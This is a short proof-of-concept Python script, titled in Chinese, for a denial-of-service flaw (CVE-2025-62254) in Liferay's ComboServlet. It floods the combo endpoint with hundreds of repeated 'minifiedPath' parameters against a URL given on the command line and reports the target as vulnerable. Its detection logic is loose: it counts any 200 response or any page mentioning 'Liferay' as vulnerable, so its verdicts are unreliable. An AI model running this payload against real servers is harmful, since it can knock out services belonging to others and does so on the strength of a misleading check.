CVE-2025-62254 Liferay ComboServlet拒绝服务漏洞

import requests import sys # CVE-2025-62254 PoC - Liferay ComboServlet DoS # Target: Liferay Portal/DXP ComboServlet endpoint def generate_dos_payload(num_files=1000): """Generate malicious query string with many file references""" base_path = '/o/frontend-js-legacy-web/portal/combo?' # Repeat file references to exhaust server resources files = ['/path/resource1.js'] * num_files return base_path + '&'.join([f'minifiedPath={file}' for file in files]) def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-62254""" vulnerable = False try: # Send a request with multiple file references payload = generate_dos_payload(num_files=500) full_url = target_url.rstrip('/') + payload response = requests.get(full_url, timeout=30, allow_redirects=False) # Check if response is abnormally large (potential DoS condition) if len(response.content) > 1000000: # > 1MB response print(f'[+] Large response detected: {len(response.content)} bytes') vulnerable = True # Check for ComboServlet pattern in response if 'Liferay' in response.text or response.status_code == 200: print(f'[+] ComboServlet is accessible') vulnerable = True except requests.exceptions.Timeout: print('[+] Request timeout - possible DoS condition') vulnerable = True except Exception as e: print(f'[-] Error: {e}') return vulnerable if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-62254.py <target_url>') print('Example: python cve-2025-62254.py http://vulnerable-liferay:8080') sys.exit(1) target = sys.argv[1] print(f'[*] Checking CVE-2025-62254 on {target}') if check_vulnerability(target): print('[!] Target appears to be VULNERABLE') else: print('[*] Target may not be vulnerable')